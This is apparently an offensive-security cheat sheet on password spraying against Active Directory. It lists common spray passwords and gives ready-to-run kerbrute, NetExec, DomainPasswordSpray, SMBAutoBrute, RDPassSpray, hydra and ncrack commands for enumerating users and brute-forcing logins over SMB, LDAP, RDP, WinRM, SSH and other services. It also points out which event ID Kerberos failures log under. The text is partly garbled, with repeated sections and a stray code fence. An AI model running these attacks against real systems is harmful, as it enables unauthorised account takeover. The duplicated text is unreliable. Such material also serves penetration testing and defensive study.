Most of the time the best passwords to spray are :
- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
- Passwords: `P@ssw0rd01`, `Password123`, `Password1`,
- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz`

- SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`)
- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0`
## Kerberos pre-auth bruteforcing
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
* Username bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
* Password bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
* Password spray
```powershell
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```
:warning: be careful with the account lockout !
## Spray a pre-generated passwords list
* Using `netexec` and `mp64` to generate passwords and spray them against SMB services on the network.
* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```powershell
netexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
nxc smb targets.txt -u Administrator -p Password123 -d domain.local
nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
nxc ssh targets.txt -u Administrator -p Password123
nxc vnc targets.txt -u Administrator -p Password123
nxc ftp targets.txt -u Administrator -p Password123
nxc nfs targets.txt -u Administrator -p Password123
```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
* Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule
```powershell
nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```
* Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain.
```powershell
# https://github.com/dafthack/DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
```
* Using `SMBAutoBrute`.
* Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1).
```powershell
Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
```
## Spray passwords against the RDP service
* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
```powershell
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
## BadPwdCount attribute
> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown.
```powershell
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
```
```
## Kerberos pre-auth bruteforcing
Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
* Username bruteforce
```powershell
./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
* Password bruteforce
```powershell
./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
* Password spray
```powershell
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```
